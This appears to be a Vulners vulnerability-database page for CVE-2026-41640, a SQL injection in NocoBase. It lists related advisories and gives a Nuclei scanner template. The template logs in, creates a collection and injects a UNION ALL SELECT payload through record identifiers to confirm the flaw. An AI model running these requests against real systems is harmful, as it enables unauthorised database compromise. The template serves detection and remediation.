| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2026-41640 | 7 May 202604:09 | – | attackerkb | |
| CVE-2026-41640 | 23 Apr 202609:30 | – | circl | |
| Nocobase SQL注入漏洞 | 7 May 202600:00 | – | cnnvd | |
| CVE-2026-41640 | 7 May 202604:09 | – | cve | |
| CVE-2026-41640 NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading | 7 May 202604:09 | – | cvelist | |
| EUVD-2026-28261 | 7 May 202604:09 | – | euvd | |
| @nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading | 22 Apr 202620:09 | – | github | |
| CVE-2026-41640 | 7 May 202604:16 | – | nvd | |
| GHSA-4948-F92Q-F432 @nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading | 22 Apr 202620:09 | – | osv | |
| PT-2026-34609 | 22 Apr 202600:00 | – | ptsecurity |
id: CVE-2026-41640
info:
name: NocoBase - SQL Injection
author: theamanrawat
severity: high
description: |
NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.
remediation:
Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.
reference:
- https://github.com/advisories/GHSA-4948-f92q-f432
- https://nvd.nist.gov/vuln/detail/CVE-2026-41640
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.5
cve-id: CVE-2026-41640
epss-score: 0.01875
epss-percentile: 0.76847
cwe-id: CWE-89
metadata:
max-request: 7
verified: true
vendor: nocobase
product: nocobase
tags: cve,cve2026,sqli,nocobase,sqli,authenticated
flow: http(1) && http(2) && http(3) || http(4)
variables:
cname: "{{to_lower(rand_base(8))}}"
http:
- raw:
- |
POST /api/auth:signIn HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"account":"{{username}}","password":"{{password}}"}
extractors:
- type: regex
name: token
part: body
internal: true
regex:
- '"token":"([^"]+)"'
group: 1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
internal: true
- raw:
- |
POST /api/collections:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"name":"{{cname}}","tree":"adjacencyList","fields":[{"name":"id","type":"string","primaryKey":true,"interface":"input"},{"name":"title","type":"string","interface":"input"},{"name":"parent","type":"belongsTo","target":"{{cname}}","foreignKey":"parentId","targetKey":"id","treeParent":true},{"name":"children","type":"hasMany","target":"{{cname}}","foreignKey":"parentId","sourceKey":"id","treeChildren":true}]}
- |
POST /api/{{cname}}:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"id":"safe_root","title":"Root Node"}
- |
POST /api/{{cname}}:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"id":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1","title":"injection","parentId":"safe_root"}
- |
POST /api/{{cname}}:create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Bearer {{token}}
{"id":"leaf_node","title":"leaf","parentId":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
GET /api/{{cname}}:list?appends[]=parent(recursively%3Dtrue)&pageSize=100 HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
matchers:
- type: dsl
dsl:
- 'status_code == 500'
- 'contains(body, "invalid input syntax for type integer")'
condition: and
- method: GET
path:
- "{{BaseURL}}/api/app:getInfo"
extractors:
- type: regex
name: version
part: body
regex:
- '"version":"(.*?)"'
group: 1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"dialect\"", "\"version\"")'
- 'compare_versions(version, "<=2.0.32")'
condition: and
# digest: 4b0a00483046022100b459ffc33248125f9ad052e0336946f5b1e48886e0cc0827a67a8b94f0dc3d2f022100dcd62a983403164b898a093523675482d5b6ba5217271ae16723f9507535adbe:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation